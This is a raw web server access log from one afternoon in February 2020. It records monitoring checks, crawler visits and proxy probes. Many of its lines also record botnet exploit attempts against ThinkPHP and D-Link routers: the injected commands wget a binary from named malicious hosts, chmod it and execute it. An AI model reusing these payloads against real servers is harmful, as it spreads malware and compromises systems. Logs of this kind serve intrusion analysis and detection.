212.91.246.72 - - [11/Feb/2020:16:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.234.122.240 - - [11/Feb/2020:16:54:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:16:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [11/Feb/2020:16:55:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:16:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.153.113.101 - - [11/Feb/2020:16:55:50 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [11/Feb/2020:16:55:50 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [11/Feb/2020:16:55:50 +0100] "GET /core/common.js HTTP/1.1" 404 319 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
212.91.246.72 - - [11/Feb/2020:16:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.178.102.98 - - [11/Feb/2020:16:57:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:16:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.33.152.193 - - [11/Feb/2020:16:58:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:16:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.151.184.97 - - [11/Feb/2020:16:59:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.75.0.166 - - [11/Feb/2020:17:00:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.128.200.200 - - [11/Feb/2020:17:00:35 +0100] "GET / HTTP/1.1" 200 1229 "https://www.google.de" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:17:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.117.133 - - [11/Feb/2020:17:04:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:17:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.39.46.209 - - [11/Feb/2020:17:06:25 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01732016 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
212.91.246.72 - - [11/Feb/2020:17:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.17.202 - - [11/Feb/2020:17:08:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:17:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [11/Feb/2020:17:08:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:17:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.80.138.98 - - [11/Feb/2020:17:10:52 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
111.162.136.54 - - [11/Feb/2020:17:10:53 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
118.81.224.45 - - [11/Feb/2020:17:10:53 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.36.129.121 - - [11/Feb/2020:17:10:53 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
117.14.148.230 - - [11/Feb/2020:17:10:57 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.224.234.224 - - [11/Feb/2020:17:10:57 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.0.22.46 - - [11/Feb/2020:17:10:57 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.34.179.99 - - [11/Feb/2020:17:10:57 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.224.220.111 - - [11/Feb/2020:17:10:58 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
220.200.166.184 - - [11/Feb/2020:17:11:00 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
45.6.228.22 - - [11/Feb/2020:17:11:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:17:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.71.242.26 - - [11/Feb/2020:17:13:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:17:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.128 - - [11/Feb/2020:17:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [11/Feb/2020:17:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.248.141.70 - - [11/Feb/2020:17:17:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.248.141.70 - - [11/Feb/2020:17:17:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.65.56.211 - - [11/Feb/2020:17:17:34 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:17:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.70.104 - - [11/Feb/2020:17:23:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:17:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [11/Feb/2020:17:24:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:17:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.102.141.94 - - [11/Feb/2020:17:26:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
121.244.48.70 - - [11/Feb/2020:17:26:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:17:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.69 - - [11/Feb/2020:17:27:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:17:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.4.107.6 - - [11/Feb/2020:17:33:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:17:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.226.197 - - [11/Feb/2020:17:34:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:17:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.55.155.180 - - [11/Feb/2020:17:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:17:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.150.52.35 - - [11/Feb/2020:17:41:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:17:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
199.204.202.253 - - [11/Feb/2020:17:46:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:17:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.74.102.32 - - [11/Feb/2020:17:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
183.80.97.5 - - [11/Feb/2020:17:50:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:17:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.4.14.198 - - [11/Feb/2020:17:51:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [11/Feb/2020:17:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.17.96.26 - - [11/Feb/2020:17:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)"
212.91.246.72 - - [11/Feb/2020:17:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.117.12 - - [11/Feb/2020:17:58:33 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [11/Feb/2020:17:58:34 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [11/Feb/2020:17:58:36 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [11/Feb/2020:17:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [11/Feb/2020:17:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:17:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.156.255.4 - - [11/Feb/2020:18:01:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.195.1 - - [11/Feb/2020:18:02:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.213.197 - - [11/Feb/2020:18:02:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.184 - - [11/Feb/2020:18:03:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.223.84.80 - - [11/Feb/2020:18:05:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
